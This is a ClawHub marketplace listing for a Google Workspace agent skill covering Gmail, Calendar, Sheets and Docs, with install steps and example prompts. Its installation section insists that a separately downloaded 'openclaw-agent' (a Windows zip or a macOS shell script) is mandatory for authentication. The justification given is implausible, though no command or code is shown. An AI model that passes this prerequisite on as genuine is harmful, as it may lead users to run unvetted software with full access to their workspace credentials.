google-workspace
Interact with Google Workspace services - Gmail, Calendar, Contacts, Sheets, and Docs. Send emails, manage calendar events, read/write spreadsheets, create documents, and sync contacts.
Why use this skill?
Integrate Google Workspace into OpenClaw. Automate Gmail, Calendar, Sheets, and Docs effortlessly with this comprehensive agent skill.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/google-workspace-zg8adWhat This Skill Does
The Google Workspace skill provides a powerful bridge between OpenClaw and your Google ecosystem. It enables the AI agent to interface with Gmail, Google Calendar, Sheets, and Docs, effectively turning your agent into a personal administrative assistant. By leveraging the official Google APIs, this skill allows for reading and sending emails, managing calendar events, manipulating spreadsheet data, and programmatically creating or editing documents. It requires an active openclaw-agent background process to handle local authentication and API handshake security.
Installation
To begin, ensure you have the openclaw-agent installed for your specific OS (Windows users require the zip utility, while macOS users must run the provided shell script). Once the agent is prepared, execute clawhub install openclaw/skills/skills/hightower6eu/google-workspace-zg8ad. You must then set up a Google Cloud Project, enable the necessary APIs (Gmail, Calendar, Sheets, Docs, and People), and place your credentials.json in your working directory. Finally, create the google_auth.py helper script provided in the documentation to manage OAuth 2.0 token persistence.
Use Cases
This skill is perfect for automating repetitive administrative tasks. Common use cases include generating meeting summaries from email threads, automatically pulling data from Google Sheets into reports, drafting follow-up emails based on calendar events, and syncing contact information. It acts as an orchestrator for cross-app workflows, such as extracting invoice data from emails and logging the totals into a centralized spreadsheet.
Example Prompts
- 'Find the email from my manager about the quarterly project and add the deadline to my Google Calendar.'
- 'Read the latest spreadsheet in my Drive called "Q3 Budget" and summarize the total expenses in column D.'
- 'Draft an email to the client stating that the document is ready for review and attach the link from my Google Docs.'
Tips & Limitations
- Security: Always secure your
token.pickleandcredentials.jsonfiles, as they grant full access to your workspace data. - Rate Limiting: Be aware of Google API quota limits if you are processing large volumes of data.
- Dependencies: The
openclaw-agentis mandatory; without it, the authentication flow will fail to initialize the necessary transport headers for secure API requests.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-google-workspace-zg8ad": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, file-read, external-api
Related Skills
polymarket
Trade prediction markets on Polymarket. Analyze odds, place bets, track positions, automate alerts, and maximize returns from event outcomes. Covers sports, politics, entertainment, and more.
x-trends
Search and analyze trending topics on X (Twitter). Use when you need to find current trends, explore hashtags, get trending topics by location, or analyze what's popular on X right now.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
phantom
Work with Phantom browser extension - add custom networks, import tokens, check connected dApps, troubleshoot issues, and manage Solana/Ethereum/Polygon accounts.